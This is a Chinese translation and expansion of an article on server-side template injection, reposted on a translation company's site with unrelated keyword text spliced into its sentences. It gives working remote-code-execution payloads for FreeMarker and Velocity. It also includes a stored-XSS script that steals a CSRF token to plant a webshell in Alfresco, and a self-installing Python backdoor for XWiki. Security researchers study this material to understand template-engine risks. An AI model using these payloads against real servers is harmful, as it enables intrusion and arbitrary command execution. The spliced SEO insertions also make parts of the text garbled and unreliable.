模板庫翻譯 服務(wù)端模板注入:現(xiàn)代WEB遠程代碼執(zhí)行(補充翻譯和擴展)
日期:2023-03-11 12:39:36 / 人氣: 532 / 發(fā)布者:成都翻譯公司
低權(quán)限用戶可以借助一個存儲XSS漏洞,利用FreeMarker模板注入方式獲取WebShell。服務(wù)器端模板注入:現(xiàn)代WEB遠程代碼執(zhí)行(附加翻譯和擴展)
羽扇豆·2015/09/02 10:21
0x00 前言
原文鏈接:
*近看了這篇文章,不過不是什么新技術(shù),但是作者給出的兩個攻擊案例都很好??吹絛rops有人翻譯了這篇文章,但是沒有翻譯攻擊案例,所以加了這部分內(nèi)容。優(yōu)越的。這兩種情況分別是針對FreeMarker和Velocity的,所以作者針對這兩個模板引擎寫Exploit的過程也翻譯了一下。
0x01 開發(fā)漏洞
許多模板引擎試圖限制模板程序執(zhí)行任意代碼的能力,以防止應(yīng)用層邏輯對表達式引擎的攻擊。一些模板引擎試圖通過沙盒和其他方式安全地處理不受信任的用戶輸入。在這些措施下,開發(fā)模板后門變得非常具有挑戰(zhàn)性。
自由標記
FreeMarke 是*流行的 Java 模板之一,也是*常交給用戶操作的模板。FreeMarker 官網(wǎng)解釋了允許“用戶提供”模板的危險:
對應(yīng)翻譯:
22.是否允許用戶上傳模板文件?這會影響安全嗎?一般來說,除非是管理員或受信任的用戶,否則您不應(yīng)允許用戶進行此類操作。考慮到模板是一個類似于 *.java 文件的源代碼文件。如果您仍然希望允許用戶上傳模板文件,您應(yīng)該考慮以下事項:
在DoS等一些低風險的安全問題之后,我們可以看到以下內(nèi)容:
對應(yīng)翻譯:
內(nèi)置新運算符(Configuration.setNewBuiltinClassResolver、Environment.setNewBuiltinClassResolver):使用“com.example.SomeClass”?new() 在這樣的模板文件中。這對于FTL庫很重要,但是在普通模板文件的時候不需要使用。FreeMarker 包含一個 TemplateModel 接口,可以用來構(gòu)造任何 java 對象,new 操作符可以實例化 TemplateModel 的實現(xiàn)類。一些危險的 TemplateModel 實現(xiàn)類可能在類路徑中。即使某個類沒有實現(xiàn) TemplateModel 接口,也會執(zhí)行該類中的靜態(tài)代碼塊。為了避免這種情況,您可以使用 TemplateClassResolver 類來限制對該類的訪問,如下所示: TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
這個警告有點神秘,但它提醒我們可能可以使用內(nèi)置的 new 運算符來完成 exp。我們來看看有關(guān) new 運算符的文檔:
對應(yīng)翻譯:
這個內(nèi)置操作符需要考慮安全問題,因為模板編寫者可以使用它來構(gòu)造任意的 java 對象,然后使用這些構(gòu)造的 java 對象,只要它們實現(xiàn)了 TemplateModel 接口。并且模板編寫者也可以觸發(fā)類的靜態(tài)代碼塊中的代碼,即使該類沒有實現(xiàn) TemplateModel 接口。如果您允許不太信任的用戶上傳模板,您應(yīng)該查看以下主題。
TemplateModel的實現(xiàn)類中有沒有什么有用的類?我們來看看這個接口的JavaDoc:
出現(xiàn)了一個類的名稱:執(zhí)行。
查看這個類的細節(jié),可以發(fā)現(xiàn)它可以做我們想做的事情:接收輸入并執(zhí)行
使用它非常簡單:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
此有效負載稍后將非常有用。
添加:
研究了TemplateModel的其他實現(xiàn)類,發(fā)現(xiàn)ObjectConstructor類也很有用。從名字上可以看出,這個類是用來構(gòu)造其他類的對象的。你可以通過查看代碼來了解如何使用它:
通過代碼可以看到提供的類名和構(gòu)造函數(shù)的參數(shù),然后我們就可以使用ObjectConstructor類來構(gòu)造我們想要的類了。有了這個,我們可以執(zhí)行任何java代碼。下面給出兩個例子,一個是執(zhí)行命令,另一個是文件讀取。
速度
Velocity 是另一個流行的 Java 模板框架,它很難被利用。沒有“安全注意事項”頁面來指出有風險的函數(shù)和內(nèi)部變量。下面的截圖顯示了使用 Burp 對變量名進行暴力破解。左邊是payload,右邊是服務(wù)器的返回值。
變量 class 看起來很有用,因為它返回 Object 類的 Class 對象。通過谷歌找到這個鏈接:
你可以看到一個方法和一個屬性:
我們可以結(jié)合 $class.inspect 和 $class.type 來構(gòu)造任何對象。然后我們可以通過 Runtime.exec() 執(zhí)行任意命令。這個想法可以用下面的代碼來確認,會造成延遲。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
獲取命令執(zhí)行結(jié)果有點麻煩:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
添加:
不得不說,原作者的方法有點麻煩,而且這個方法只能用在Velocity Tool中,不能用在Velocity Engine中。其實反射是可以直接使用的。代碼如下:
#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
0x02 兩種情況 情況一:露天
Alfresco 是一個 CMS 系統(tǒng)。低權(quán)限用戶可以利用存儲型 XSS 漏洞通過 FreeMarker 模板注入獲取 WebShell。之前創(chuàng)建的 FreeMarker 后門可以直接使用,但是我將其擴展為使用請求參數(shù)作為命令:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex(url.getArgs())}
低權(quán)限用戶沒有編輯模板的權(quán)限,但他們可以通過使用管理員帳戶存儲 XSS 來安裝此后門。我編寫了以下 JavaScript 代碼來完成這次攻擊:
#!javascript
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
模板的GUID不同,但低權(quán)限用戶也可以通過“數(shù)據(jù)字典”輕松獲取。此外,與其他可以控制整個Web服務(wù)器的應(yīng)用程序管理員不同,露天系統(tǒng)管理員可以進行的操作受到嚴格限制。
案例 2:XWiki Enterprise
XWiki Enterprise 是一個專業(yè)的維基程序。在默認配置下,匿名用戶可以在編輯 wiki 頁面時注冊用戶并嵌入 Velocity 模板代碼。此功能使其成為模板注入的理想目標。但是,之前創(chuàng)建的 Velocity 負載無法使用,因為此處無法使用 $class。
XWiki 對 Velocity 的評價:
對應(yīng)翻譯:
XWiki沙箱提供安全的對象訪問,每個API調(diào)用都會檢測權(quán)限并禁止對未授權(quán)資源的操作,因此不需要特殊的權(quán)限控制。其他腳本語言需要腳本語言編寫者具有執(zhí)行權(quán)限,但除此之外,訪問服務(wù)器上的所有資源。
...未經(jīng)許可,您不能實例化對象,您只能使用文本和 XWiki API 提供的安全資源。如果您按照 XWiki 提供的正確方法,XWiki 可以安全地開發(fā)大量應(yīng)用程序。
…… 瀏覽包含腳本的頁面不需要Programming權(quán)限,保存時才需要。
也就是說,XWiki 不僅支持 Velocity,還支持 Groovy 和 Python 等沒有沙箱的腳本。但是模板庫翻譯,此操作需要編程權(quán)限。這是一件好事,因為它將特權(quán)升級變成了任意代碼執(zhí)行。由于我們只能使用 Velocity,我們必須使用 XWiki API。
$doc 類中有一些非常有趣的方法。聰明的讀者可能會發(fā)現(xiàn)一個缺陷:
維基頁面內(nèi)容的作者是*后一個編輯它的用戶。save方法和saveAsAuthor方法的區(qū)別在于save方法不使用作者的身份來保存內(nèi)容,而是使用當前訪問頁面的用戶的身份。換句話說模板庫翻譯,一個低權(quán)限的用戶可以創(chuàng)建一個 wiki 頁面,當具有編程權(quán)限的用戶查看、編輯和保存頁面時,腳本將被執(zhí)行。讓我們注入以下 Python 后門:
#!python
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
我們只需要添加一些代碼即可獲得管理員權(quán)限:
innocent content
#if( $doc.hasAccessLevel("programming") )
$doc.setContent("
innocent content
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
")
$doc.save()
#end
當具有編程權(quán)限的用戶查看包含此類內(nèi)容的頁面時,將自動安裝后門。之后,訪問此頁面的每個人都可以執(zhí)行任何命令:
0x03 附言
作者提出的攻擊思路還是很不錯的。我也知道這種模板文件可以用來執(zhí)行任意代碼,但我沒有深入思考進一步的使用方法。傳統(tǒng)的攻擊思路一般是獲取后臺管理員權(quán)限。然后利用上傳等漏洞getshell,但其實后臺編輯模板功能在很多情況下是可以直接執(zhí)行任意代碼的。經(jīng)測試,大多數(shù)具有編輯模板功能的應(yīng)用都存在類似問題??磥砉暨^程中的技術(shù)理解越透徹。越廣。
相關(guān)閱讀Relate
熱門文章 Recent
- 就業(yè)失業(yè)登記證翻譯模板 浙江省高校畢業(yè)生就業(yè)創(chuàng)業(yè)政策問答2023-03-11
- 加拿大簽證結(jié)婚證翻譯件模板 大使館認可結(jié)婚證翻譯2023-03-11
- 英語個人簡歷模板帶翻譯 英語翻譯專業(yè)個人簡歷模板2023-03-11
- 責任條款翻譯模板簽證 常見的合同翻譯容易出錯的地方你注意了嘛?2023-03-11
- 碩士研究生畢業(yè)證翻譯模板 畢業(yè)證書、學位證書翻譯件樣本2023-03-11
- 混凝土模板翻譯 GB/T 17656-2018混凝土模板用膠合板.pdf 16頁2023-03-11
- 東莞專業(yè)的商務(wù)合同翻譯模板 商務(wù)談判翻譯專家怎么收費2023-03-11
- 小學畢業(yè)證書德語翻譯模板 如何考德語等級證書2023-03-11
- 申根簽證戶口本翻譯模板 申請表的翻譯版本及填法模板2023-03-11
- 基于模板的統(tǒng)計翻譯 測繪科學雜志2020年第08期一種阿拉伯語地名的機器翻譯方法2023-03-11